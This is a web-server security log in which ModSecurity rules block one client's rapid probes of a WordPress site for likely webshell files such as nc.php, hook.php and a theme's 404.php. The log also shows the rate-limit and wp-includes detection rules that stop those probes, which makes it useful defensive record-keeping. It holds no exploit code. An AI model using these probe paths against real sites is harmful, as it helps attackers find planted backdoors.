[Thu Dec 18 21:39:11.955396 2025] [:error] [pid 24433:tid 24459] [client 4.196.84.157:23011] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUQD_54pN9ycmipm8TjfrgAAARc"]
[Thu Dec 18 21:39:12.125308 2025] [:error] [pid 23558:tid 23639] [client 4.196.84.157:24130] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUQEAOHam9NbgPQa9uYsEQAAANg"]
[Thu Dec 18 21:39:12.370439 2025] [:error] [pid 23558:tid 23637] [client 4.196.84.157:21427] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUQEAOHam9NbgPQa9uYsFAAAANY"]
[Thu Dec 18 21:39:12.675098 2025] [:error] [pid 23558:tid 23631] [client 4.196.84.157:18195] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aUQEAOHam9NbgPQa9uYsFQAAANA"]
[Thu Dec 18 21:39:13.014026 2025] [:error] [pid 24433:tid 24438] [client 4.196.84.157:21438] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aUQEAZ4pN9ycmipm8TjfrwAAAQI"]
[Thu Dec 18 21:39:13.447613 2025] [:error] [pid 24433:tid 24451] [client 4.196.84.157:18811] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aUQEAZ4pN9ycmipm8TjfsAAAAQ8"]
[Thu Dec 18 21:39:13.934325 2025] [:error] [pid 24433:tid 24453] [client 4.196.84.157:21430] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-x7.php"] [unique_id "aUQEAZ4pN9ycmipm8TjftgAAARE"]
[Thu Dec 18 21:39:14.636373 2025] [:error] [pid 24958:tid 24985] [client 4.196.84.157:22991] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aUQEAskDOrUkd0wNm2HSzQAAAZg"]
[Thu Dec 18 21:39:14.904510 2025] [:error] [pid 23556:tid 23567] [client 4.196.84.157:21377] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aUQEAhnmLlk3u5yt9kHurwAAAAc"]
[Thu Dec 18 21:39:15.206217 2025] [:error] [pid 12239:tid 12266] [client 4.196.84.157:31852] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aUQEA9NnXxfGIuWO6akf-QAAApY"]
[Thu Dec 18 21:39:15.757349 2025] [:error] [pid 24542:tid 24555] [client 4.196.84.157:31814] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "aUQEA0tQz4H2oS3NrDYmcAAAAUs"]
[Thu Dec 18 21:39:16.045266 2025] [:error] [pid 12035:tid 12046] [client 4.196.84.157:23022] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v3.php"] [unique_id "aUQEBLcVHrNSHjCo-0qdXwAAAgQ"]
[Thu Dec 18 21:39:16.475825 2025] [:error] [pid 23556:tid 23562] [client 4.196.84.157:27419] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v3.php"] [unique_id "aUQEBBnmLlk3u5yt9kHusAAAAAI"]
[Thu Dec 18 21:39:16.798128 2025] [:error] [pid 23645:tid 23666] [client 4.196.84.157:27126] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v3.php"] [unique_id "aUQEBDf_Rx0Y0ao_QJhjpgAAAJM"]
[Thu Dec 18 21:39:17.160288 2025] [:error] [pid 23556:tid 23560] [client 4.196.84.157:1281] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v3.php"] [unique_id "aUQEBRnmLlk3u5yt9kHusQAAAAA"]
[Thu Dec 18 21:39:17.373754 2025] [:error] [pid 23558:tid 23618] [client 4.196.84.157:21476] [client 4.196.84.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aUQEBeHam9NbgPQa9uYsJQAAAMM"]
[Thu Dec 18 21:39:17.660765 2025] [:error] [pid 24958:tid 24965] [client 4.196.84.157:27125] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/system.php"] [unique_id "aUQEBckDOrUkd0wNm2HS2QAAAYQ"]
[Thu Dec 18 21:39:18.258680 2025] [:error] [pid 25357:tid 25383] [client 4.196.84.157:24820] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/system.php"] [unique_id "aUQEBoaT7bsEXnJVfJdw6wAAAdg"]
[Thu Dec 18 21:39:18.686160 2025] [:error] [pid 12383:tid 12392] [client 4.196.84.157:21475] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/system.php"] [unique_id "aUQEBvdgllo9h1cyxGbL5AAAAsY"]
[Thu Dec 18 21:39:18.982504 2025] [:error] [pid 24542:tid 24559] [client 4.196.84.157:14745] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aUQEBktQz4H2oS3NrDYmdwAAAU8"]
[Thu Dec 18 21:39:19.380538 2025] [:error] [pid 24958:tid 24962] [client 4.196.84.157:14694] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aUQEB8kDOrUkd0wNm2HS2gAAAYE"]
[Thu Dec 18 21:39:19.793691 2025] [:error] [pid 12383:tid 12389] [client 4.196.84.157:27114] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aUQEB_dgllo9h1cyxGbL5QAAAsM"]
[Thu Dec 18 21:39:20.096849 2025] [:error] [pid 12239:tid 12267] [client 4.196.84.157:23006] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aUQECNNnXxfGIuWO6akf_wAAApc"]
[Thu Dec 18 21:39:20.367380 2025] [:error] [pid 12239:tid 12250] [client 4.196.84.157:31870] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aUQECNNnXxfGIuWO6akgAAAAAoY"]
[Thu Dec 18 21:39:20.705512 2025] [:error] [pid 12239:tid 12266] [client 4.196.84.157:31836] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aUQECNNnXxfGIuWO6akgAwAAApY"]
[Thu Dec 18 21:39:20.950123 2025] [:error] [pid 23645:tid 23659] [client 4.196.84.157:13326] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aUQECDf_Rx0Y0ao_QJhjqgAAAIw"]
[Thu Dec 18 21:39:21.285634 2025] [:error] [pid 24542:tid 24545] [client 4.196.84.157:24787] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/555.php"] [unique_id "aUQECUtQz4H2oS3NrDYmfgAAAUE"]
[Thu Dec 18 21:39:21.749206 2025] [:error] [pid 12239:tid 12262] [client 4.196.84.157:1331] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aUQECdNnXxfGIuWO6akgCwAAApI"]
[Thu Dec 18 21:39:22.130602 2025] [:error] [pid 23645:tid 23649] [client 4.196.84.157:27452] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aUQECjf_Rx0Y0ao_QJhjqwAAAII"]
[Thu Dec 18 21:39:22.886136 2025] [:error] [pid 12035:tid 12059] [client 4.196.84.157:1293] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aUQECrcVHrNSHjCo-0qdZwAAAhA"]
[Thu Dec 18 21:39:23.206070 2025] [:error] [pid 23556:tid 23563] [client 4.196.84.157:27454] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aUQECxnmLlk3u5yt9kHutwAAAAM"]
[Thu Dec 18 21:39:23.667243 2025] [:error] [pid 24542:tid 24548] [client 4.196.84.157:21462] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUQEC0tQz4H2oS3NrDYmhAAAAUQ"]
[Thu Dec 18 21:39:24.027270 2025] [:error] [pid 25357:tid 25365] [client 4.196.84.157:27121] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUQEDIaT7bsEXnJVfJdw9wAAAcY"]
[Thu Dec 18 21:39:24.373072 2025] [:error] [pid 24542:tid 24546] [client 4.196.84.157:18782] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUQEDEtQz4H2oS3NrDYmhQAAAUI"]
[Thu Dec 18 21:39:24.650902 2025] [:error] [pid 23558:tid 23634] [client 4.196.84.157:24158] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUQEDOHam9NbgPQa9uYsKAAAANM"]
[Thu Dec 18 21:39:24.917353 2025] [:error] [pid 23558:tid 23636] [client 4.196.84.157:21779] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/db.php"] [unique_id "aUQEDOHam9NbgPQa9uYsKQAAANU"]
[Thu Dec 18 21:39:25.112821 2025] [:error] [pid 23556:tid 23580] [client 4.196.84.157:21403] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/db.php"] [unique_id "aUQEDRnmLlk3u5yt9kHuuQAAABQ"]
[Thu Dec 18 21:39:25.266262 2025] [:error] [pid 12383:tid 12404] [client 4.196.84.157:18768] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/db.php"] [unique_id "aUQEDfdgllo9h1cyxGbL7AAAAtI"]
[Thu Dec 18 21:39:25.498576 2025] [:error] [pid 23558:tid 23638] [client 4.196.84.157:21459] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/db.php"] [unique_id "aUQEDeHam9NbgPQa9uYsKgAAANc"]
[Thu Dec 18 21:39:25.655089 2025] [:error] [pid 12239:tid 12256] [client 4.196.84.157:21471] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nc.php"] [unique_id "aUQEDdNnXxfGIuWO6akgGgAAAow"]
[Thu Dec 18 21:39:25.778515 2025] [:error] [pid 23556:tid 23567] [client 4.196.84.157:25262] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nc.php"] [unique_id "aUQEDRnmLlk3u5yt9kHuugAAAAc"]
[Thu Dec 18 21:39:25.965950 2025] [:error] [pid 23558:tid 23627] [client 4.196.84.157:18779] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nc.php"] [unique_id "aUQEDeHam9NbgPQa9uYsLAAAAMw"]
[Thu Dec 18 21:39:26.602274 2025] [:error] [pid 24958:tid 24979] [client 4.196.84.157:21472] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nc.php"] [unique_id "aUQEDskDOrUkd0wNm2HS3gAAAZI"]
[Thu Dec 18 21:39:27.054228 2025] [:error] [pid 12239:tid 12261] [client 4.196.84.157:27453] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file1.php"] [unique_id "aUQED9NnXxfGIuWO6akgIwAAApE"]
[Thu Dec 18 21:39:27.309603 2025] [:error] [pid 12239:tid 12265] [client 4.196.84.157:27417] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file1.php"] [unique_id "aUQED9NnXxfGIuWO6akgJQAAApU"]
[Thu Dec 18 21:39:27.671763 2025] [:error] [pid 25357:tid 25363] [client 4.196.84.157:21437] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file1.php"] [unique_id "aUQED4aT7bsEXnJVfJdw-wAAAcQ"]
[Thu Dec 18 21:39:28.502497 2025] [:error] [pid 24958:tid 24967] [client 4.196.84.157:21823] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file1.php"] [unique_id "aUQEEMkDOrUkd0wNm2HS4gAAAYY"]
[Thu Dec 18 21:39:29.141476 2025] [:error] [pid 24433:tid 24445] [client 4.196.84.157:27446] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aUQEEZ4pN9ycmipm8Tjf5AAAAQk"]
[Thu Dec 18 21:39:29.389026 2025] [:error] [pid 24433:tid 24442] [client 4.196.84.157:18755] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aUQEEZ4pN9ycmipm8Tjf5gAAAQY"]
[Thu Dec 18 21:39:29.551653 2025] [:error] [pid 24542:tid 24562] [client 4.196.84.157:18757] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aUQEEUtQz4H2oS3NrDYmkAAAAVI"]
[Thu Dec 18 21:39:30.718300 2025] [:error] [pid 24958:tid 24972] [client 4.196.84.157:13333] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aUQEEskDOrUkd0wNm2HS7AAAAYs"]
[Thu Dec 18 21:39:30.884043 2025] [:error] [pid 12239:tid 12252] [client 4.196.84.157:1316] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aUQEEtNnXxfGIuWO6akgOgAAAog"]
[Thu Dec 18 21:39:31.249885 2025] [:error] [pid 24433:tid 24443] [client 4.196.84.157:21391] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aUQEE54pN9ycmipm8Tjf6wAAAQc"]
[Thu Dec 18 21:39:31.683128 2025] [:error] [pid 23558:tid 23628] [client 4.196.84.157:17841] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aUQEE-Ham9NbgPQa9uYsRgAAAM0"]
[Thu Dec 18 21:39:31.877322 2025] [:error] [pid 24433:tid 24438] [client 4.196.84.157:18753] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aUQEE54pN9ycmipm8Tjf7QAAAQI"]
[Thu Dec 18 21:39:32.511574 2025] [:error] [pid 23556:tid 23576] [client 4.196.84.157:27414] [client 4.196.84.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aUQEFBnmLlk3u5yt9kHuxwAAABA"]
